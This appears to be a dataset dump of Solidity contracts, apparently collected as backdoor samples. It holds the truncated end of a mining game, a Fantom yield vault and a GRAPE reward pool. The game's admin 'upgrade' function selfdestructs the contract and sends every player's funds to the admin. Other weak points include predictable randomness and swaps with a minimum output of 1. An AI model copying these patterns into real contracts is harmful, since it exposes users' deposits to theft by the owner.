hashrate = SafeMath.add(hashrate, SafeMath.mul(SafeMath.sub(p.minerCount[minerIdx],currentMinerCount), minerData[minerIdx].baseProduct));
}
}
updateHashrate(msg.sender, hashrate);
}
function getPlayerData(address addr) public view
returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay, uint256[8] miners, uint256 hasBoost, uint256 referral_count, uint256 playerBalance, uint256 noQuest)
{
PlayerData storage p = players[addr];
if(p.roundNumber != roundNumber){
p = players[0];
}
crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD);
lastupdate = p.lastUpdateTime;
hashratePerDay = addReferralHashrate(addr, p.hashrate);
uint256 i = 0;
for(i = 0; i < numberOfMiners; i++)
{
miners[i] = p.minerCount[i];
}
hasBoost = hasBooster(addr);
referral_count = p.referral_count;
noQuest = p.noQuest;
playerBalance = payments[addr];
}
function getHashratePerDay(address minerAddr) public view returns (uint256 personalProduction)
{
PlayerData storage p = players[minerAddr];
personalProduction = addReferralHashrate(minerAddr, p.hashrate);
uint256 boosterIdx = hasBooster(minerAddr);
if (boosterIdx != 999) {
BoostData storage b = boostData[boosterIdx];
personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100);
}
}
//--------------------------------------------------------------------------
// BOOSTER
//--------------------------------------------------------------------------
function buyBooster(uint256 idx) public isNotOver isCurrentRound payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){
revert();
}
address beneficiary = b.owner;
uint256 devFeePrize = devFee(getBoosterPrice(idx));
asyncSend(sponsor, devFeePrize);
uint256 refundPrize = 0;
if(beneficiary != 0){
refundPrize = SafeMath.div(SafeMath.mul(getBoosterPrice(idx), 55), 100);
asyncSend(beneficiary, refundPrize);
}
prizePool = SafeMath.add(prizePool, SafeMath.sub(msg.value, SafeMath.add(devFeePrize, refundPrize)));
updateCrystal(msg.sender);
updateCrystal(beneficiary);
uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife);
b.startingLevel = SafeMath.add(level, 1);
b.startingTime = now;
// transfer ownership
b.owner = msg.sender;
}
function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel,
uint256 startingTime, uint256 currentPrice, uint256 halfLife)
{
require(idx < numberOfBoosts);
owner = boostData[idx].owner;
boostRate = boostData[idx].boostRate;
startingLevel = boostData[idx].startingLevel;
startingTime = boostData[idx].startingTime;
currentPrice = getBoosterPrice(idx);
halfLife = boostData[idx].halfLife;
}
function getBoosterPrice(uint256 index) public view returns (uint256)
{
BoostData storage booster = boostData[index];
return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife));
}
function hasBooster(address addr) public view returns (uint256 boostIdx)
{
boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
boostIdx = revert_i;
break;
}
}
}
//--------------------------------------------------------------------------
// Other
//--------------------------------------------------------------------------
function devFee(uint256 amount) public pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(amount, 5), 100);
}
function getBalance() public view returns(uint256)
{
return address(this).balance;
}
//@dev use this function in case of bug
function upgrade(address addr) public
{
require(msg.sender == administrator);
selfdestruct(addr);
}
//--------------------------------------------------------------------------
// Private
//--------------------------------------------------------------------------
function updateHashrate(address addr, uint256 _hashrate) private
{
PlayerData storage p = players[addr];
p.hashrate = SafeMath.add(p.hashrate, _hashrate);
if(p.hashrate > RANK_LIST_LIMIT){
updateRankList(addr);
}
}
function updateCrystal(address addr) private
{
require(now > players[addr].lastUpdateTime);
if (players[addr].lastUpdateTime != 0) {
PlayerData storage p = players[addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 revenue = getHashratePerDay(addr);
p.lastUpdateTime = now;
if (revenue > 0) {
revenue = SafeMath.mul(revenue, secondsPassed);
p.crystals = SafeMath.add(p.crystals, revenue);
}
}
}
function addReferralHashrate(address addr, uint256 hashrate) private view returns(uint256 personalProduction)
{
PlayerData storage p = players[addr];
if(p.referral_count < 5){
personalProduction = SafeMath.add(hashrate, SafeMath.mul(p.referral_count, 10));
}else if(p.referral_count < 10){
personalProduction = SafeMath.add(hashrate, SafeMath.add(50, SafeMath.mul(p.referral_count, 10)));
}else{
personalProduction = SafeMath.add(hashrate, 200);
}
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) private view returns(uint256)
{
uint256 timePassed=SafeMath.sub(now, startingTime);
uint256 levelsPassed=SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel, levelsPassed);
}
function getCurrentPrice(uint256 currentLevel) private view returns(uint256)
{
return SafeMath.mul(BASE_PRICE, 2**currentLevel);
}
function updateRankList(address addr) private returns(bool)
{
uint256 idx = 0;
PlayerData storage insert = players[addr];
PlayerData storage lastOne = players[rankList[19]];
if(insert.hashrate < lastOne.hashrate) {
return false;
}
address[21] memory tempList = rankList;
if(!inRankList(addr)){
tempList[20] = addr;
quickSort(tempList, 0, 20);
}else{
quickSort(tempList, 0, 19);
}
for(idx = 0;idx < 21; idx++){
if(tempList[idx] != rankList[idx]){
rankList[idx] = tempList[idx];
}
}
return true;
}
function inRankList(address addr) internal view returns(bool)
{
for(uint256 idx = 0;idx < 20; idx++){
if(addr == rankList[idx]){
return true;
}
}
return false;
}
function getRandomNumber(address playerAddress) internal returns(uint256 randomNumber) {
randNonce++;
randomNumber = uint256(keccak256(abi.encodePacked(now, playerAddress, randNonce))) % 3;
}
function quickSort(address[21] list, int left, int right) internal
{
int i = left;
int j = right;
if(i == j) return;
address addr = list[uint(left + (right - left) / 2)];
PlayerData storage p = players[addr];
while (i <= j) {
while (players[list[uint(i)]].hashrate > p.hashrate) i++;
while (p.hashrate > players[list[uint(j)]].hashrate) j--;
if (i <= j) {
(list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(list, left, j);
if (i < right)
quickSort(list, i, right);
}
}
| 176,605 | 14,040 |
9731c45f5c36dba15dee997d401e14869279ff7fdcc8ba27a73118fe1522912c
| 23,653 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/42/4232781d0ffa68440ba6aa6d5e8ba04c25a325a3_Granary.sol
| 5,778 | 16,071 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
// Part: IMasterchef
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 3
function p_lpt_ftm_usd(address lp) external view returns(uint256);
}
interface IMasterchef {
// Info of each pool.
struct PoolInfo {
address lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Tokenss to distribute per block.
uint256 lastRewardBlock; // Last block number that Tokens distribution occurs.
uint256 accKnightPerShare; // Accumulated Tokens per share, times 1e12. See below.
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function reward(uint256) external view returns (uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _rA, address[] memory _rB, string memory _id)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
routeA = _rA;
routeB = _rB;
id=_id;//GRAIN#ID
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add routeA[routeA.length-1]
IERC20(_rA[_rA.length-1]).approve(address(router),uint256(-1));
//router to add routeB[routeB.length-1]
IERC20(_rB[_rB.length-1]).approve(address(router),uint256(-1));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public pure returns(uint256){return(18);}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public routeA;
address[] public routeB;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl = 0x3f0458FfB6D106d2F5CdeC9CEdc9054A69275489;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1, //mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Compounded(address indexed user, uint256 amount);
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D);
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
mc.withdraw(allnums[0],0);
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
IRouter R = IRouter(router);
IERC20 A = IERC20(routeA[routeA.length-1]);
IERC20 B = IERC20(routeB[routeB.length-1]);
uint256 vbb = (earn.balanceOf(address(this))).div(2);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,routeA,address(this),block.timestamp);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,routeB,address(this),block.timestamp);
R.addLiquidity(address(A),
address(B),
A.balanceOf(address(this)),
B.balanceOf(address(this)),
(A.balanceOf(address(this)).mul(90).div(100)),
(B.balanceOf(address(this)).mul(90).div(100)),
address(this),
block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D);
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
totalSupply==0?allnums[5]=uint64(block.timestamp):allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D);
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, uint256, address, uint256, uint256, uint256, uint256, uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount;
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)).rewardDebt,
mc.poolInfo(allnums[0]).lpToken,
mc.poolInfo(allnums[0]).allocPoint,
mc.poolInfo(allnums[0]).lastRewardBlock,
mc.poolInfo(allnums[0]).accKnightPerShare,
mc.totalAllocPoint(),
mc.reward(block.timestamp));
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 b = ((mc.userInfo(allnums[0],address(this))).amount + IERC20(want).balanceOf(address(this)));
return(tc.p_lpt_ftm_usd(address(want)).mul(b));
}
}
| 310,886 | 14,041 |
62ae6406f239667a0bb496bc10431e69234c5be12d2490107733e6824718491e
| 11,413 |
.sol
|
Solidity
| false |
446032192
|
grapefi/contracts
|
227b03e96cd9edd177f6ff822acd571b3464ab3a
|
distribution/GrapeGenesisRewardPool.sol
| 2,965 | 10,943 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
// Note that this pool has no minter key of GRAPE (rewards).
contract GrapeGenesisRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. GRAPE to distribute.
uint256 lastRewardTime; // Last time that GRAPE distribution occurs.
uint256 accGrapePerShare; // Accumulated GRAPE per share, times 1e18. See below.
bool isStarted; // if lastRewardBlock has passed
}
IERC20 public grape;
address public mim;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when GRAPE mining starts.
uint256 public poolStartTime;
// The time when GRAPE mining ends.
uint256 public poolEndTime;
// TESTNET
uint256 public grapePerSecond = 0.66667 ether; // 2400 GRAPE / (1h * 60min * 60s)
uint256 public runningTime = 1 hours; // 1 hours
uint256 public constant TOTAL_REWARDS = 2400 ether;
// END TESTNET
// MAINNET
//uint256 public grapePerSecond = 0.02777 ether; // 2400 GRAPE / (24h * 60min * 60s)
//uint256 public runningTime = 1 days; // 1 days
//uint256 public constant TOTAL_REWARDS = 2400 ether;
// END MAINNET
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _grape,
address _mim,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_grape != address(0)) grape = IERC20(_grape);
if (_mim != address(0)) mim = _mim;
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "GrapeGenesisPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "GrapeGenesisPool: existing pool?");
}
}
// Add a new token to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({token: _token, allocPoint: _allocPoint, lastRewardTime: _lastRewardTime, accGrapePerShare: 0, isStarted: _isStarted}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's GRAPE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(grapePerSecond);
return poolEndTime.sub(_fromTime).mul(grapePerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(grapePerSecond);
return _toTime.sub(_fromTime).mul(grapePerSecond);
}
}
// View function to see pending GRAPE on frontend.
function pendingGRAPE(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accGrapePerShare = pool.accGrapePerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _grapeReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accGrapePerShare = accGrapePerShare.add(_grapeReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accGrapePerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _grapeReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accGrapePerShare = pool.accGrapePerShare.add(_grapeReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accGrapePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeGrapeTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
if (address(pool.token) == mim) {
user.amount = user.amount.add(_amount.mul(9900).div(10000));
} else {
user.amount = user.amount.add(_amount);
}
}
user.rewardDebt = user.amount.mul(pool.accGrapePerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accGrapePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeGrapeTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accGrapePerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe GRAPE transfer function, just in case a rounding error causes pool to not have enough GRAPEs.
function safeGrapeTransfer(address _to, uint256 _amount) internal {
uint256 _grapeBalance = grape.balanceOf(address(this));
if (_grapeBalance > 0) {
if (_amount > _grapeBalance) {
grape.safeTransfer(_to, _grapeBalance);
} else {
grape.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 amount,
address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (GRAPE or lps) if less than 90 days after pool ends
require(_token != grape, "grape");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 268,187 | 14,042 |
c9edfb209378d4c320913c43c46985e683c3afb653204f1788f66091e652aa41
| 14,015 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
